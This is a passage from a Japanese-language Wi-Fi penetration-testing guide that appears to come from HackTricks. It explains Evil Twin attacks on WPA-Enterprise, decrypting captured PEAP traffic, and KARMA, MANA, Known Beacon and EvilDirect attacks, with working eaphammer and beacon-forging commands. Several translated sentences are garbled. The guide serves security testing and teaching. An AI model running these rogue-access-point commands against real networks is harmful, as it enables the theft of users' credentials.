  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、攻撃が発見されるのがはるかに難しくなる)。
  • Find more info in the wiki

Using Airgeddon

Airgeddon は、以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャすることができます。その後、攻撃者はパスワードをクラックしようとすることができます。
Airgedon は、**継続的なEvil Twin攻撃イジーまたは誰かが接続するまでEvil Attackを作成するだけスムーズ**の可能性を提供します。

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです

hostapd-wpeconfiguration 内で、dh_file を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh から #dh_file=/etc/hostapd-wpe/certs/dh へ)
これにより、hostapd-wpeDHの代わりにRSAを使用して鍵を交換するため、サーバーの秘密鍵を知っていれば後でトラフィックを復号化できます。

次に、通常通りその修正された設定で**hostapd-wpeを使用してEvil Twinを開始します。また、Evil Twin攻撃を実行しているインターフェースwireshark**を開始します。

今または後で(すでにいくつかの認証意図をキャプチャしたとき)、Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit... でwiresharkにプライベートRSAキーを追加できます。

新しいエントリを追加し、次の値でフォームを埋めます:IPアドレス = any -- ポート = 0 -- プロトコル = data -- キー ファイルキー ファイルを選択、問題を避けるためにパスワード保護されていないキー ファイルを選択)。

新しい**"Decrypted TLS"タブ**を確認してください:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

異なるタイプのメディアアクセス制御フィルターリストMFACLと、それに対応するモードおよび不正アクセスポイントAPの動作への影響

  1. MACベースのホワイトリスト
  • 不正APはホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
  1. MACベースのブラックリスト
  • 不正APはブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
  1. SSIDベースのホワイトリスト
  • 不正APはリストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network ListsPNLにそのESSIDが含まれていないデバイスには見えなくなります。
  1. SSIDベースのブラックリスト
  • 不正APはブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

この方法は、攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイントAPを作成することを可能にします。この技術は、デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させることができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。

MANA

その後、デバイスは無効なネットワーク応答を無視し始め、元のkarma攻撃の効果が減少しました。しかし、MANA攻撃として知られる新しい方法がイアン・デ・ヴィリヤーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPがデバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名SSIDを使用して、デバイスからの優先ネットワークリストPNLをキャプチャすることを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し、優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。

MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるよう誘引します。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Loud MANA攻撃は、デバイスが指向プロービングを使用しない場合や、攻撃者にとってその優先ネットワークリストPNLが不明な場合に使用される高度な戦略です。この攻撃は、同じエリアにいるデバイスはPNLにいくつかのネットワーク名を共有する可能性が高いという原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名ESSIDに対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイントAPに接続しようとする可能性を高めます。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA攻撃が不十分な場合、Known Beacon攻撃は別のアプローチを提供します。この方法は、単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして--loudオプションと組み合わせることで増幅できます。

Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されますこれを--loudと組み合わせてLoud MANA + Known beacons攻撃を作成することもできます

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

既知のビーコンサージ攻撃

既知のビーコンサージ攻撃は、ファイルにリストされた各ESSIDのためにビーコフレームを迅速に放送することを含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、デバイスのネットワーク選択メカニズムを圧倒するために、速度とボリュームを活用します。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Directは、従来の無線アクセスポイントを必要とせずに、デバイスがWi-Fiを使用して直接接続できるプロトコルです。この機能は、プリンターやテレビなどのさまざまなIoTデバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴は、1つのデバイスが接続を管理するアクセスポイントの役割を担うことで、これをグループオーナーと呼びます。

Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、セキュアなペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:

  • プッシュボタン設定 (PBC)
  • PIN入力
  • 近距離無線通信 (NFC)

これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクトルの標的となります。

EvilDirect Hijacking

EvilDirect Hijackingは、Wi-Fi Directに特有の攻撃です。これは、Evil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、airbase-ngのようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。

References

TODO: https://github.com/wifiphisher/wifiphisherを確認してくださいFacebookでログインし、キャプティブポータルでWPAを模倣

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!

Hacking Insights
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

Real-Time Hack News
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう

Latest Announcements
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}